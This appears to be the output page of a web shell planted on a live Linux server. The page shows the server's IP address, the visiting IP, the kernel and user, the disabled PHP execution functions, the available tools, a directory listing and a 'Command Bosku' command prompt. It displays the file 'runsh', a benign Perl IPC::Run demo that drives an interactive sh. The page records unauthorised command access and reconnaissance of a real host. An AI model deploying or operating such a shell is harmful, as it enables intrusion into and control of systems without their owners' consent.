Na}{

Server IP: 162.240.74.182

Your IP: 216.73.217.6

Web Server: Apache

System: Linux 3.10.0-1160.119.1.el7.x86_64 (shell_exec disabled)

User: gdg

PHP Version: 8.0.30

Disable Function: exec, passthru, shell_exec, system

MySQL: OFF

cURL: ON

WGET: OFF

Perl: OFF

Python: OFF

Sudo: OFF

Pkexec: OFF

File Content: `runsh`

#!/usr/bin/perl -w

## Demonstration of chatting with a bash shell.

use strict ;

use IPC::Run qw( start pump finish timeout ) ;

my ( $in, $out, $err ) ;

my $h = start(
   [qw(sh -login -i )], \$in, \$out, \$err,
      debug => 0,
      timeout( 5 ),
) ;

## The first thing we do is to convert the user's prompt.  Normally, we would
## do a '' as the first command in the for () loop so we could detect errors
## that bash might emit on startup.  In this case, we need to do this
## initialization first so that we have a prompt to look for so we know that
## it's ready to accept input.  This is all because the startup scripts
## that bash runs set PS1, and we can't have that.
$in = "PS1='<PROMPT> '\n" ;

## bash prompts on stderr.  Consume everything before the first
## <PROMPT> (which is the second prompt bash issues).
pump $h until $err =~ s/.*(?=^<PROMPT> (?!\n)\Z)//ms ;

for ( qw( ls ps fOoBaR pwd ) ) {
   $in = $_ . "\n" ;
   $out = '' ;
   pump $h until $err =~ s/\A(<PROMPT> .*)(?=^<PROMPT> (?!\n)\Z)//ms ;
   print map { "sh err: $_\n" } split( /\n/m, $1 ) ;
   print map { "sh: $_\n" } split( /\n/m, $out ) ;
}

finish $h ;

Name	Size	Permission
factorial	1563 bytes	0644
factorial_pipe	861 bytes	0644
factorial_scalar	780 bytes	0644
run_daemon	338 bytes	0644
runsh	1146 bytes	0644
runsu	971 bytes	0644
synopsis_scripting	604 bytes	0644

Command Bosku:

File Content: runsh

File Content: `runsh`